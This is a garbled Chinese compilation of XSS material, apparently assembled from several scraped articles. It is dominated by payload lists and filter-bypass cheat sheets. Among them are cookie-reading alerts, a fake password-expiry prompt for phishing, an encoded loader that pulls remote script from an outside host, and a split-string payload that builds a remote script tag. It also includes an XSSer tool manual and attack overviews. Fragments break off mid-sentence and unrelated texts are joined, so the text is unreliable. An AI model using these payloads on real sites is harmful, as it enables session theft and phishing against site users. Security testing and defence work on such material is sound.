Xss攻击测试代码

合集下载

XSS 跨站代码大全

滤镜属性及语句大全"
上面中window.rrr==1等语句是给window对象的方法定义一个值，判断这个值运行一次.
来看看HTML5跨站代码
引入媒体类测试代码Example:
<video onerror=javascript:alert(1)><source>
<iframe src= sandbox><曾经的..
/index.php?tn="/**/style=xss:expression(alert('路用给window对象的方法定义一个值，判断这个值运行一次代码以及 # 搞定火狐.
还有 80vul的搜狗跨站 (已经修补)
/skins/search.php?word=WCRTESTINPUT000000" onmouseover=window["al"+"ert"](1)
这个漏洞只能在IE下使用，FIREFOX会把URL链接参数中的”(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合”(双引号)跨站。expression()是个不听话的角色，这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码：
eval(unescape(location.hash.substr(1)))
By：blackend
<script>alert("跨站")</script> (最常见的跨站代码）
<img scr=javascript:alert("跨站")></img>
<img scr="javascript: alert(/跨站/)></img>

xss测试流程

xss测试流程XSS测试流程一、引言XSS（Cross-site Scripting）是一种常见的网络安全漏洞，攻击者通过在网页中注入恶意脚本，从而获取用户的敏感信息或者进行其他恶意操作。

为了保护网站和用户的安全，进行XSS测试是非常必要的。

本文将介绍一种常用的XSS测试流程，帮助开发人员和安全测试人员更好地理解和应对XSS漏洞。

二、测试准备1. 确认测试环境：确定要测试的网站或应用，并了解其技术架构和使用的框架。

2. 确认测试工具：选择适合的XSS测试工具，如XSStrike、XSSFuzzer等。

3. 确认测试范围：确定要测试的页面或功能模块，避免测试过程中对其他无关页面或功能造成影响。

三、收集信息1. 分析网站结构：通过浏览目标网站，了解其页面结构和功能模块，确定可能存在XSS漏洞的位置。

2. 收集参数：收集网站中的输入参数，包括URL参数、表单参数、Cookie等，用于后续的测试。

四、测试注入点1. 构造恶意输入：使用测试工具或手工构造各种可能的恶意输入，包括HTML标签、JavaScript代码、CSS样式等。

2. 检测过滤机制：尝试绕过网站的过滤机制，如尝试绕过特殊字符的过滤、尝试绕过标签过滤等。

3. 测试反射型XSS：将构造的恶意输入作为参数发送给目标网站，观察是否成功执行恶意代码。

4. 测试存储型XSS：将构造的恶意输入提交到目标网站，并查看是否成功存储并显示恶意代码。

五、漏洞利用1. 获取敏感信息：利用成功的XSS漏洞，尝试获取网站中的敏感信息，如用户账号、密码等。

2. 进行恶意操作：利用成功的XSS漏洞，进行各种恶意操作，如篡改网页内容、重定向用户等。

六、漏洞修复1. 分析漏洞原因：对于发现的XSS漏洞，分析其产生的原因，如缺乏输入过滤、未正确编码等。

2. 修复漏洞：根据分析结果，对漏洞进行修复，如添加输入过滤、进行输出编码等。

3. 验证修复效果：重新进行XSS测试，验证修复后的网站是否能够抵御XSS攻击。

XSS漏洞验证

为了防止发生XSS，很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。

例如IE8，IE9，Firefox, Chrome. 都有针对XSS的安全机制。

浏览器会阻止XSS。

最好使用ie7来测试。

方法一：查看代码，查找关键的变量, 客户端将数据传送给Web 服务端一般通过三种方式Querystring, Form表单，以及cookie. 例如在ASP的程序中，通过Request对象获取客户端的变量。

<%strUserCode = Request.QueryString(“code”);strUser = Request.Form(“USER”);strID = Request.Cookies(“ID”);%>假如变量没有经过htmlEncode处理，那么这个变量就存在一个XSS漏洞方法二：准备xss跨站漏洞测试脚本，"/><script>alert(document.cookie)</script><!--<script>alert(document.cookie)</script><!--"onclick="alert(document.cookie)在网页中的Textbox或者其他能输入数据的地方，输入这些测试脚本，看能不能弹出对话框，能弹出的话说明存在XSS漏洞在URL中查看有那些变量通过URL把值传给Web服务器，把这些变量的值退换成我们的测试的脚本。

然后看我们的脚本是否能执行方法三: 自动化测试XSS漏洞现在已经有很多XSS扫描工具了。

实现XSS自动化测试非常简单，只需要用HttpWebRequest 类。

把包含xss 测试脚本。

发送给Web服务器。

然后查看HttpWebResponse中，我们的XSS测试脚本是否已经注入进去了。

XSS攻击

XSS攻击XSS攻击：跨站脚本攻击(Cross Site Scripting)，对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的“缓冲区溢出攻击“，而JavaScript是新型的“ShellCode”。

XSS攻击的危害包括1、盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号2、控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力3、盗窃企业重要的具有商业价值的资料4、非法转账5、强制发送电子邮件6、网站挂马7、控制受害者机器向其它网站发起攻击XSS攻击与防御2.1 XSS的传统防御技术2.1.1 基于特征的防御XSS漏洞和著名的SQL注入漏洞一样，都是利用了Web页面的编写不完善，所以每一个漏洞所利用和针对的弱点都不尽相同。

这就给XSS漏洞防御带来了困难：不可能以单一特征来概括所有XSS攻击。

传统XSS防御多采用特征匹配方式，在所有提交的信息中都进行匹配检查。

对于这种类型的XSS攻击，采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索，一旦发现提交信息中包含“javascript”，就认定为XSS攻击。

这种检测方法的缺陷显而易见：骇客可以通过插入字符或完全编码的方式躲避检测：躲避方法1)在javascript中加入多个tab键，得到< IMG SRC="jav ascript:alert('XSS');" >;躲避方法2) 在javascript中加入(空格)字符，得到< IMG SRC="javascri pt:alert('XSS');" >;躲避方法3) 在javascript中加入(回车)字符，得到< IMG SRC="javascript:alert('XSS');" >;躲避方法4)在javascript中的每个字符间加入回车换行符，得到< IMG SRC="j\r\na\r\nv\r\n\r\na\r\ns\r\nc\r\nr\r\ni\r\np\r \nt\r\n:alert('XSS');" >躲避方法5)对"javascript:alert('XSS')"采用完全编码，得到< IMGSRC=javascrip?74:alert('XSS') >上述方法都可以很容易的躲避基于特征的检测。

XSS（跨站脚本攻击）分析与实战

XSS（跨站脚本攻击）分析与实战⽂章⽬录⼀、漏洞原理1、XSS简介：XSS全称：Cross Site Scripting，即跨站脚本攻击，为了不和“层叠样式表”(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。

XSS是最常见的 Web 应⽤程序安全漏洞之⼀，这类漏洞能够使攻击者嵌⼊恶意脚本代码（⼀般是JS代码）到正常⽤户会访问到的页⾯中，当正常⽤户访问该页⾯时，恶意脚本代码将会在⽤户的浏览器上执⾏，从⽽达到恶意攻击⽤户的⽬的。

从上述内容可知，XSS属于客户端攻击，受害者最终是⽤户。

但不要以为受害者是⽤户，就认为跟⾃⼰的⽹站、服务器安全没有关系，不要忘记⽹站管理⼈员也属于⽤户之⼀，这就意味着 XSS 可以攻击 “服务器端”。

因为管理员要⽐普通⽤户的权限⼤得多，⽽攻击者就有可能靠管理员⾝份作为“跳板”实施攻击。

2、XSS原理解析:XSS攻击在⽹页中嵌⼊的恶意脚本代码⼀般是使⽤ JavaScript 语⾔，JavaScript 可以获取⽤户的Cookie、改变⽹页内容、URL跳转，那么存在XSS漏洞的⽹站，就可以盗取⽤户Cookie、⿊掉页⾯、导航到恶意⽹站，⽽攻击者需要做的仅仅是向Web页⾯中注⼊JavaScript 代码。

下⾯是⼀个简单的XSS漏洞实例，代码如下：<html><head><meta content="text/html;charset=utf-8"/><title>xss漏洞⽰例</title></head><body><center><h6>把输⼊的字符串输出</h6><form action="#" method="get"><h6>请输⼊</h6><input type="text" name="xss"><br /><input type="submit" value="确定"></form><hr><?phpif (isset($_GET['xss'])) {echo '<input type="text" value="'.$_GET['xss'].'">';}else{echo '<input type="text">';}></center></body></html>在代码中，通过GET获取参数xss的值，然后通过echo输出⼀个input标签，并将xss的值放⼊input标签的value中。

XSS测试代码

XSS测试代码⽆script的Xss<img/src=# onerror=alert('XSS')>HTML5 XSS测试代码<video> <source onerror=”javascript:alert(1)”>引⼊媒体类测试代码Example:<video onerror=”javascript:alert(1)”><source><audio onerror=”javascript:alert(1)”><source><input autofocus onfocus=alert(1)><select autofocus onfocus=alert(1)><textarea autofocus onfocus=alert(1)><keygen autofocus onfocus=alert(1)>表单点击测试代码Example:<button form=test onformchange=alert(2)>X<form><button formaction=”javascript:alert(1)”>ByPasstext/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<base href="javascript:\"> <a href="//%0aalert(/1/);//">link</a>javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>CSP & WAF Bypass<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh> <svg </onload ="1> (_=alert,_(1337)) ""><img onerror=alert(1) src <u></u>重定向攻击代码:';redirecturl='javascript:alert("XSS")';redirecturl='/'Example: ?q="XSS Script""/>alert("Xss:Priyanshu")"/></script><script>alert(/XSS : Priyanshu/)</script><body onload=alert(1)>"<body onload="alert('XSS by Priyanshu')">"><%2Fstyle<%2Fscript><script>confirm("XSS By Priyanshu")<%2Fscript><body onload=document.getElementById("xsrf").submit()><a href="data:text/html;based64_,<svg/onload=\u0061l&101%72t(1)>">X</a<a href="data:text/html;based64_,<svg/onload=\u0061l&101%72t(document.cookie)>">X</a<script>alert(document.domain)</script><script>alert(document.cookie)</script>欺骗会话http://localhost/test.php?title=TITLE</title><script>var a = prompt('密码已经过期，请重新输⼊密码');alert(a);</script> <img src=x onerror=alert(document.domain)>x "></script><img src=x onerror=alert(1)>q =" onclick="alert(/XSS/)"><iframe src='javascript:prompt(/XSS/);'><iframe src=""></iframe>"><iframe src=a onload=alert('XSS')<</script><script>alert(document.cookie)</script><xss>alert('xss')</xss><iframe src=""></iframe>DOM Based XSS Scripts/default .aspx#"><img src=x onerror=prompt('XSS');>/default .aspx#"><img src=x onerror=prompt('0');><img src=x onerror=prompt(1);> by ">“><img src=x onerror=prompt(0)>.txt.jpg“><img src=x onerror=alert(document.cookie)>"><img src=x onerror=prompt(1);>"><script>alert('XSS')</script>id =abc "><Script>alert(/xss/)</SCRIPT>"><img src=" " onMouseover=prompt(/xss/);>Default.aspx /" onmouseout="confirm(1)'x="。

XSS攻击常识及常用脚本

XSS攻击常识及常⽤脚本⼀、什么是XSS?XSS全称是Cross Site Scripting即跨站脚本，当⽬标⽹站⽬标⽤户浏览器渲染HTML⽂档的过程中，出现了不被预期的脚本指令并执⾏时，XSS就发⽣了。

⼆、XSS分类XSS有三类：反射型XSS(⾮持久型)、存储型XSS(持久型)和DOM XSS反射型XSS发出请求时，XSS代码出现在URL中，作为输⼊提交到服务器端，服务器端解析后响应，XSS代码随响应内容⼀起传回给浏览器，最后浏览器解析执⾏XSS代码。

这个过程像⼀次反射，故叫反射型XSS。

存储型XSS存储型XSS和反射型XSS的差别仅在于，提交的代码会存储在服务器端（数据库，内存，⽂件系统等），下次请求⽬标页⾯时不⽤再提交XSS代码最典型的例⼦是留⾔板XSS，⽤户提交⼀条包含XSS代码的留⾔存储到数据库，⽬标⽤户查看留⾔板时，那些留⾔的内容会从数据库查询出来并显⽰，浏览器发现有XSS代码，就当做正常的HTML与Js解析执⾏，于是触发了XSS攻击。

DOM XSSDOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与，触发XSS靠的是浏览器端的DOM解析，完全是客户端的事情。

附常见的XSS攻击⽅法1、这个应该都知道<script>alert("test")</script> 常⽤于测试是否存在跨站2、<script>window.alert(document.cookie);</script>这句代码将会弹出壹个包含有浏览者cookie信息的对话框，如果⽤户已经通过帐号登陆⽹站，在显⽰的cookie信息中将会包含有⽤户的账户名和密码。

4、跨站攻击的形式是多样的，不仅可以在⽹页中插⼊跨站脚本代码，⽽且可以在flash⽂件中插⼊跨站脚本代码，实现跨站攻击。

由于flash⽂件有较⾼的安全性，⽤户通常对flash⽂件的警惕性不够，因此⽤flash⽂件进⾏跨站攻击的成功率很⾼。

脚本攻击大全xss

-/articles/hacker/base/2011/0401/13846.htmlxss跨站脚本攻击大全(1)普通的XSS JavaScript注入 SCRIPT SRC=/XSS/xss.js/SCRIPT (2)IMG标签XSS使用JavaScript命令 SCRIPT SRC=/XSS/xss.js/SCRIPT (3)IMG标签无分号无引号 IMG SRC=javascript:alert(XSS) (4)IMG标签大小写不敏感 IMG SRC=JaVaScRiP(1)普通的XSS JavaScript注入<SCRIPT SRC=/XSS/xss.js></SCRIPT>(2)IMG标签XSS使用JavaScript命令<SCRIPT SRC=/XSS/xss.js></SCRIPT>(3)IMG标签无分号无引号<IMG SRC=javascript:alert(‘XSS’)>(4)IMG标签大小写不敏感<IMG SRC=JaVaScRiPt:alert(‘XSS’)>(5)HTML编码(必须有分号)<IMG SRC=javascript:alert(“XSS”)>(6)修正缺陷IMG标签<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>(7)formCharCode标签(计算器)<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>(8)UTF-8的Unicode编码(计算器)<IMG SRC=jav..省略..S')>(9)7位的UTF-8的Unicode编码是没有分号的(计算器)<IMG SRC=jav..省略..S')>(10)十六进制编码也是没有分号(计算器)<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>(11)嵌入式标签,将Javascript分开<IMG SRC=”jav ascript:alert(‘XSS’);”>(12)嵌入式编码标签,将Javascript分开<IMG SRC=”jav ascript:alert(‘XSS’);”>(13)嵌入式换行符<IMG SRC=”jav ascript:alert(‘XSS’);”>(14)嵌入式回车<IMG SRC=”jav ascript:alert(‘XSS’);”>(15)嵌入式多行注入JavaScript,这是XSS极端的例子<IMG SRC=”javascript:alert(‘XSS‘)”>(16)解决限制字符(要求同页面)<script>z=’document.’</script><script>z=z+’write(“‘</script><script>z=z+’<script’</script><script>z=z+’ src=ht’</script><script>z=z+’tp://ww’</script><script>z=z+’w.shell’</script><script>z=z+’.net/1.’</script><script>z=z+’js></sc’</script><script>z=z+’ript>”)’</script><script>eval_r(z)</script>(17)空字符perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out (19)Spaces和meta前的IMG标签<IMG SRC=” javascript:alert(‘XSS’);”>(20)Non-alpha-non-digit XSS<SCRIPT/XSS SRC=”/XSS/xss.js”></SCRIPT> (21)Non-alpha-non-digit XSS to 2<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)> (22)Non-alpha-non-digit XSS to 3<SCRIPT/SRC=”/XSS/xss.js”></SCRIPT> (23)双开括号<<SCRIPT>alert(“XSS”);//<</SCRIPT>(24)无结束脚本标记(仅火狐等浏览器)<SCRIPT SRC=/XSS/xss.js?<B>(25)无结束脚本标记2<SCRIPT SRC=///XSS/xss.js>(26)半开的HTML/JavaScript XSS<IMG SRC=”javascript:alert(‘XSS’)”(27)双开角括号<iframe src=/XSS.html <(28)无单引号双引号分号<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>(29)换码过滤的JavaScript\”;alert(‘XSS’);//(30)结束Title标签</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>(31)Input Image<INPUT SRC=”javascript:alert(‘XSS’);”>(32)BODY Image<BODY BACKGROUND=”javascript:alert(‘XSS’)”>(33)BODY标签<BODY(‘XSS’)>(34)IMG Dynsrc<IMG DYNSRC=”javascript:alert(‘XSS’)”>(35)IMG Lowsrc<IMG LOWSRC=”javascript:alert(‘XSS’)”>(36)BGSOUND<BGSOUND SRC=”javascript:alert(‘XSS’);”>(37)STYLE sheet<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>(38)远程样式表<LINK REL=”stylesheet” HREF=”/xss.css”>(39)List-style-image(列表式)<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS (40)IMG VBscript<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS。

XSS攻击代码汇总

(1)普通的XSS JavaScript注入<SCRIPT SRC=/XSS/xss.js></SCRIPT>(2)IMG标签XSS使用JavaScript命令<SCRIPT SRC=/XSS/xss.js></SCRIPT>(3)IMG标签无分号无引号<IMG SRC=javascript:alert(‘XSS’)>(4)IMG标签大小写不敏感<IMG SRC=JaVaScRiPt:alert(‘XSS’)>(5)HTML编码(必须有分号)<IMG SRC=javascript:alert(“XSS”)>(6)修正缺陷IMG标签<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>(7)formCharCode标签(计算器)<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> (8)UTF-8的Unicode编码(计算器)<IMG SRC=jav..省略..S')>(9)7位的UTF-8的Unicode编码是没有分号的(计算器)<IMG SRC=jav..省略..S')>(10)十六进制编码也是没有分号(计算器)<IMG SRC=java..省略..XSS')>(11)嵌入式标签,将Javascript分开<IMG SRC=”jav ascript:alert(‘XSS’);”>(12)嵌入式编码标签,将Javascript分开<IMG SRC=”jav ascript:alert(‘XSS’);”>(13)嵌入式换行符<IMG SRC=”jav ascript:alert(‘XSS’);”>(14)嵌入式回车<IMG SRC=”jav ascript:alert(‘XSS’);”>(15)嵌入式多行注入JavaScript,这是XSS极端的例子<IMG SRC=”javascript:alert(‘XSS‘)”>(16)解决限制字符(要求同页面)<script>z=’document.’</script><script>z=z+’write(“‘</script><script>z=z+’<script’</script><script>z=z+’src=ht’</script><script>z=z+’tp://ww’</script><script>z=z+’w.shell’</script><script>z=z+’.net/1.’</script><script>z=z+’js></sc’</script><script>z=z+’ript>”)’</script><script>eval_r(z)</script>(17)空字符12-7-1 T00LS - Powered by Discuz! Boardhttps:///viewthread.php?action=printable&tid=15267 2/6 perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’> out(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’> out (19)Spaces和meta前的IMG标签<IMG SRC=”javascript:alert(‘XSS’);”>(20)Non-alpha-non-digit XSS<SCRIPT/XSS SRC=”/XSS/xss.js”></SCRIPT>(21)Non-alpha-non-digit XSS to 2<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>(22)Non-alpha-non-digit XSS to 3<SCRIPT/SRC=”/XSS/xss.js”></SCRIPT>(23)双开括号<<SCRIPT>alert(“XSS”);//<</SCRIPT>(24)无结束脚本标记(仅火狐等浏览器)<SCRIPT SRC=/XSS/xss.js?<B>(25)无结束脚本标记2<SCRIPT SRC=///XSS/xss.js>(26)半开的HTML/JavaScript XSS<IMG SRC=”javascript:alert(‘XSS’)”(27)双开角括号<iframe src=/XSS.html <(28)无单引号双引号分号<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>(29)换码过滤的JavaScript\”;alert(‘XSS’);//(30)结束Title标签</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>(31)Input Image<INPUT SRC=”javascript:alert(‘XSS’);”>(32)BODY Image<BODY BACKGROUND=”javascript:alert(‘XSS’)”>(33)BODY标签<BODY(‘XSS’)>(34)IMG Dynsrc<IMG DYNSRC=”javascript:alert(‘XSS’)”>(35)IMG Lowsrc<IMG LOWSRC=”javascript:alert(‘XSS’)”>(36)BGSOUND<BGSOUND SRC=”javascript:alert(‘XSS’);”>(37)STYLE sheet<LINK REL=”stylesheet”HREF=”javascript:alert(‘XSS’);”> (38)远程样式表<LINK REL=”stylesheet”HREF=”/xss.css”> (39)List-style-image(列表式)<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS (40)IMG VBscript<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS(41)META链接url<META HTTP-EQUIV=”refresh”CONTENT=”0;URL=http://;URL=javascript:alert(‘XSS’);”>(42)Iframe<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>(43)Frame<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Boardhttps:///viewthread.php?action=printable&tid=15267 3/6(44)Table<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>(45)TD<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>(46)DIV background-image<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>(48)DIV expression<DIV STYLE=”width: expression_r(alert(‘XSS’));”>(49)STYLE属性分拆表达<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>(50)匿名STYLE(组成:开角号和一个字母开头)<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>(51)STYLE background-image<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>(52)IMG STYLE方式exppression(alert(“XSS”))’>(53)STYLE background<STYLE><STYLEtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE> (54)BASE<BASE HREF=”javascript:alert(‘XSS’);//”>(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS<EMBED SRC=”/XSS/xss.swf”></EMBED>(56)在flash中使用ActionScrpt可以混进你XSS的代码a=”get”;b=”URL(\”";c=”javascript:”;d=”alert(‘XSS’);\”)”;(71)IP十六进制<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>(72)IP八进制<A HREF=”http://0300.0250.0000.0001″>XSS</A>(73)混合编码<A HREF=”htt p://66.000146.0×7.147/”">XSS</A>(74)节省[http:]<A HREF=”///”>XSS</A>(75)节省[www]<A HREF=”/”>XSS</A>(76)绝对点绝对DNS<A HREF=”./”>XSS</A>(77)javascript链接<A HREF=”javascript:document.location=’/’”>XSS</A>。

简单的黑客攻击代码

简单的黑客攻击代码黑客攻击是现代社会中很常见的事件之一。

黑客通过利用目标的漏洞或者弱点，攻击任何一个计算机系统，企业或个人电脑，从而窃取有价值的信息或破坏目标的计算机系统。

以下是一些常见的黑客攻击代码。

1. 流量洪泛攻击（DDoS攻击）这种攻击最常见的方法是用大量的计算机同时向同一个目标发送请求，导致目标服务器瘫痪。

攻击者可以利用僵尸网络来实现攻击，从而同时利用多台电脑发动攻击，从而让目标服务器无法运行。

2. SQL 注入攻击这种攻击是通过插入恶意代码来破坏目标系统的数据库，从而获取数据库的信息。

通过利用目标网站的漏洞，攻击者可以注入含有恶意代码的 SQL 语句，从而可以访问数据库并且修改数据，并且可以窃取目标数据库的信息。

3. 电子邮件钓鱼攻击这种威胁通过电子邮件来进行，包括一些伪装成合法来源的电子邮件，通过诱惑受害者点击链接或下载附件，从而窃取信息或者下载恶意软件。

攻击者通过伪装成合法来源，让受害者感到相信这是真实事件，从而成功骗取信息或者进行其他的攻击。

4. 拒绝服务攻击（DoS攻击）这种攻击是通过占用目标计算机的系统资源来导致系统不能正常工作。

攻击者通过发送一些无用的数据包来占用目标服务器的网络带宽和计算能力，从而导致目标服务器瘫痪。

5. 蓝牙攻击这种攻击利用蓝牙的漏洞来进行，攻击者可以通过与目标设备连接，获得目标设备的控制权来窃取数据或者控制目标设备。

攻击者通过使用专门的工具，可以破解目标蓝牙设备的密码，从而获取设备的控制权或者窃取目标设备中的数据。

以上是一些常见的黑客攻击代码，为了保障自己和企业的互联网安全，我们需要采取一些有效的预防措施，比如安装杀毒软件和防火墙，定期更新软件和操作系统补丁，使用强密码等等。

简单的黑客装逼代码 (2)

简单的黑客装逼代码标题：简单的黑客装逼代码引言概述：在当今信息化社会，黑客文化逐渐兴起，许多人对黑客技术产生了浓厚的兴趣。

虽然黑客行为本质上是非法的，但是了解一些简单的黑客装逼代码可以帮助我们更好地保护自己的网络安全，同时也能增加对网络安全的认识和理解。

正文内容：1. 网络扫描1.1 端口扫描：通过扫描目标主机的开放端口，获取目标主机的网络服务信息。

1.2 路由追踪：通过追踪数据包的传输路径，了解网络中的节点和路径信息。

2. 暴力破解2.1 密码破解：通过尝试不同的密码组合，破解目标账户的密码。

2.2 弱口令攻击：利用常见的弱口令，对目标账户进行暴力破解。

3. SQL注入3.1 基于错误的注入：通过构造恶意的SQL语句，利用目标网站的错误信息获取敏感数据。

3.2 基于时间的盲注：通过构造延时的SQL语句，利用目标网站的响应时间差异获取敏感数据。

4. XSS攻击4.1 反射型XSS：通过构造恶意的URL，将脚本注入到目标网站的响应中，实现对用户的攻击。

4.2 存储型XSS：将恶意脚本存储到目标网站的数据库中，当其他用户访问时执行脚本。

5. 社会工程学5.1 钓鱼攻击：通过伪造合法的网站或邮件，诱导目标用户输入敏感信息。

5.2 垃圾邮件攻击：通过发送大量垃圾邮件，影响目标用户的正常工作。

总结：通过了解简单的黑客装逼代码，我们可以更好地认识到网络安全的重要性。

然而，我们必须明确，这些技术仅供学习和研究之用，不得用于非法活动。

同时，我们也应该加强自身的网络安全意识，采取相应的措施保护个人信息和网络安全。

只有在安全的网络环境下，我们才能更好地享受互联网带来的便利和乐趣。

XSS利用与挖掘

对比抓包得到的Cookies数据与document.cookie !
抓包工具抓取的cookies
document.cookie.split(";").join("\n")
壮哉我大Chrome调试工具！！
方式一、 HTTP Trace (CROSS-SITE TRACING, XST) IE6时代的 http-only绕过技术古为今用！插件：Siverlight – Flash - Java
,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,115,46,115,114,99,61,34,104,116,116,1 12,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,109,46,106,115,34,59,40,100,111,9 9,117,109,101,110,116,46,98,111,100,121,124,124,100,111,99,117,109,101,110,116,46,100,111,99,117,109,101,1 10,116,69,108,101,109,101,110,116,41,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59));
20个字符
<img alt="图片名称"></img>
"onload="alert(1)
真装不下了！！
"onload=" 9 个字符

BackTrack 5 R1 XSS研究之XSSer(超强XSS攻击利器)使用说明中文版

XSSer使用说明================================================================简介:===============================================================跨站脚本者是一个自动框架，检测，利用和报告基于Web应用XSS漏洞。

它包含几个选项，试图绕过某些过滤器，以及各种特殊的代码注入技术。

XSSer由一个遵循GPL V3的团队完成，版权属于psy ( - ).================================================================选项与设置：==============================xsser [OPTIONS] [-u <url> |-i <file> |-d <dork>] [-g <get> |-p <post> |-c <crawl>] [Request(s)] [Vector(s)] [Bypasser(s)] [Technique(s)] [Final Injection(s)]Options:--version 显示程序的版本号-h, --help 显示帮助信息-s, --statistics 显示高级显示输出结果-v, --verbose 激活冗余模式输出结果--gtk 加载 XSSer GTK 接口*特别的用法*:你可以选择 Vector(s) 和 Bypasser(s) 结合特殊的用法来注入代码：--imx=IMX 利用XSS代码植入来创建一个假的图象--fla=FLASH 利用XSS代码植入来创建一个假的swf*选择目标*:至少有一个选择必须被指定来设置来源以获得目标(s)的url。

. 你需要选择然后运行XSSer:-u URL, --url=URL 键入目标URL进行分析-i READFILE 从一个文件中读取URL-d DORK 利用搜索引擎傻瓜式的搜索URL--De=DORK_ENGINE 傻瓜式的利用搜索引擎 (bing, altavista,yahoo, baidu, yandex, youdao, webcrawler, ask, etc.查看 dork.py 文件来核对有效的搜索引擎)*现则HTTP/HTTPS的连接类型*:These options can be used to specify which parameter(s) we want to uselike payload to inject code.-g GETDATA 输入一个负荷来进行审计，使用 GET参数 (例如: '/menu.php?q=') -p POSTDATA 输入一个负荷来进行审计，使用 POST 参数(例如: 'foo=1&bar=') -c CRAWLING 目标URL的爬行数目(s): 1-99999--Cw=CRAWLER_WIDTH 爬行深度: 1-5--Cl 本地目标URL爬行 (默认 TRUE)*安装请求*:这些选项被用来制定如何攻击目标和使用负荷. 你有多重选择:--cookie=COOKIE 改变你的HTTP Cookie header--user-agent=AGENT 改变你的 HTTP User-Agent header (默认 SPOOFED)--referer=REFERER 使用别的HTTP Referer header (默认 NONE)--headers=HEADERS 额外的 HTTP headers 换行隔开--auth-type=ATYPE HTTP 认证类型 (基本值类型或者摘要)--auth-cred=ACRED HTTP 认证证书 (值 name:password)--proxy=PROXY 使用代理服务器 (tor:http://localhost:8118)--timeout=TIMEOUT 设定时间延迟 (默认 30)--delay=DELAY 设定每一个 HTTP request值 (默认 8)--threads=THREADS 最大数目的 HTTP requests并发 (默认 5)--retries=RETRIES 连接超时重试 (默认 3)*系统验校器*:这些选项对于有过滤器的XSS 攻击很有效和或者重复所利用的代码:--hash 如果目标重复内容，则每次检测hash(对预知可能错误的结果非常有用)--heuristic 启发式的设置才检测那些脚本会被过滤: ;\/<>"'=*选择攻击向量(s)*:这些选项被用在特殊的 XSS 向量源代码来注入到每一个负荷中。

xss攻击方式详解

简介XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。

它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。

使用过ASP的同学一定见过这样的代码："name"假如我传入的name的值为：这样就可以直接盗取用户的cookie。

所以我就可以发送一条链接地址让别人去点：当然这样做没有一点隐蔽性，虽然前面的瞒过了少数人，但大多数人可以辨认出后面的javascript代码，所以，我只需要将后面的javascript代码转换成URL的16进制，如：上面的URL你还认得吗？除非你把它转换出来。

（进制转换可以使用Napkin工具，哎，太坏了。

有人问Napkin的下载地址，贴在这里好了：/releases/napkin/Napkin-1.0-Windows.zip）根本原因1.2.示例发现大名鼎鼎的淘宝网也存在这样的漏洞，我们在搜索框中输入：这样，我们已经修改了淘宝原有的页面，在下面嵌入了百度的首页。

效果如图：使用时机我尝试在各种不同网站寻找 XSS漏洞， baidu, , , 等等。

结果，我发现XSS漏洞非常普遍！其实XSS利用的是网页的回显，即，接收用户的输入，然后再在页面显示用户的输入。

总结一下几个可能会出现漏洞的地方：•搜索引擎•留言板•错误页面通过在上面那些类型的页面输入一些特殊的字符（包括< > / "），如：</?jjkk>，然后在结果页中的源码处搜索是否存在原样的：</?jjkk>，如果存在，恭喜你，发现了一个XSS 漏洞。

